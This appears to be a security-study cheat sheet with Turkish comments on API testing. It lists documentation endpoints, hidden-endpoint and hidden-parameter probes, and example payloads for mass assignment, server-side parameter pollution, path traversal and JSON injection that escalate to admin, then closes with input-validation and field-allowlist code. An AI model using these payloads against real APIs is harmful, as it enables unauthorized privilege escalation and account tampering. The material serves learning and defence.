API Testing

// Tipik API endpoint örneği
GET /api/users/123
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

// Response
{
  "id": 123,
  "name": "John Doe",
  "email": "john@example.com",
  "role": "user"
}

// Yaygın dokümantasyon endpoint'leri
/api
/swagger/index.html
/openapi.json
/docs
/api-docs
/swagger-ui
/redoc

// Aynı endpoint, farklı metodlar
GET /api/tasks - Görev listesini getir
POST /api/tasks - Yeni görev oluştur  
PUT /api/tasks/1 - 1 numaralı görevi güncelle
DELETE /api/tasks/1 - 1 numaralı görevi sil
PATCH /api/tasks/1 - 1 numaralı görevi kısmen güncelle
OPTIONS /api/tasks - Desteklenen metodları öğren

// JSON formatında istek
POST /api/users
Content-Type: application/json
{"name": "test", "email": "test@example.com"}

// XML formatına dönüştürme
POST /api/users  
Content-Type: application/xml
<user><name>test</name><email>test@example.com</email></user>

// Form data formatı
POST /api/users
Content-Type: application/x-www-form-urlencoded
name=test&email=test@example.com

// Bilinen endpoint: 
PUT /api/user/update

// Gizli endpoint'leri test etme:
PUT /api/user/delete
PUT /api/user/create  
PUT /api/user/admin
DELETE /api/user/123
GET /api/user/all
POST /api/user/login

// Normal API isteği
GET /api/users?page=1&limit=10

// Gizli parameter testleri
GET /api/users?page=1&limit=10&debug=true
GET /api/users?page=1&limit=10&admin=1  
GET /api/users?page=1&limit=10&include_deleted=true
GET /api/users?page=1&limit=10&format=xml

// Güncellenebilen alanlar
PATCH /api/users/
{
    "username": "wiener",
    "email": "wiener@example.com"
}

// GET isteği ile dönen tam obje
GET /api/users/123
{
    "id": 123,
    "username": "wiener", 
    "email": "wiener@example.com",
    "isAdmin": false,
    "balance": 1000,
    "role": "user"
}

// Mass assignment saldırısı
PATCH /api/users/
{
    "username": "wiener",
    "email": "wiener@example.com", 
    "isAdmin": true,
    "balance": 999999,
    "role": "admin"
}

// Frontend isteği
GET /userSearch?name=peter&back=/home

// Backend'e giden internal istek  
GET /users/search?name=peter&publicProfile=true

// Parameter pollution saldırısı
GET /userSearch?name=peter%26admin=true&back=/home

// Sonuç internal istek
GET /users/search?name=peter&admin=true&publicProfile=true

// Query truncation testi
GET /userSearch?name=peter%23foo&back=/home
// Internal: GET /users/search?name=peter#foo&publicProfile=true

// Parameter injection testi  
GET /userSearch?name=peter%26email=admin@test.com&back=/home
// Internal: GET /users/search?name=peter&email=admin@test.com&publicProfile=true

// Parameter override testi
GET /userSearch?name=peter%26name=admin&back=/home
// Internal: GET /users/search?name=peter&name=admin&publicProfile=true

// REST API yapısı
GET /api/users/123
// /api = root endpoint
// /users = resource
// /123 = parameter (user ID)

// Frontend isteği
GET /edit_profile.php?name=peter
// Internal: GET /api/private/users/peter

// Path traversal saldırısı  
GET /edit_profile.php?name=peter%2f..%2fadmin
// Internal: GET /api/private/users/peter/../admin
// Normalized: GET /api/private/users/admin

// Normal form data isteği
POST /myaccount
name=peter

// Internal JSON request
PATCH /users/7312/update
{"name":"peter"}

// JSON injection saldırısı
POST /myaccount  
name=peter","access_level":"administrator

// Sonuç internal request
PATCH /users/7312/update
{"name":"peter","access_level":"administrator"}

// Client-side JSON injection
POST /myaccount
{"name": "peter\",\"access_level\":\"administrator"}

// Güvenli parameter handling
function sanitizeInput(input) {
    // Whitelist approach
    const allowedChars = /^[a-zA-Z0-9_-]+$/;
    if (!allowedChars.test(input)) {
        throw new Error('Invalid input format');
    }
    return input;
}

// Güvenli API design
app.put('/api/users/:id', authenticate, authorize, (req, res) => {
    const allowedFields = ['name', 'email'];
    const updates = {};
    
    allowedFields.forEach(field => {
        if (req.body[field]) {
            updates[field] = sanitize(req.body[field]);
        }
    });
    
    updateUser(req.params.id, updates);
});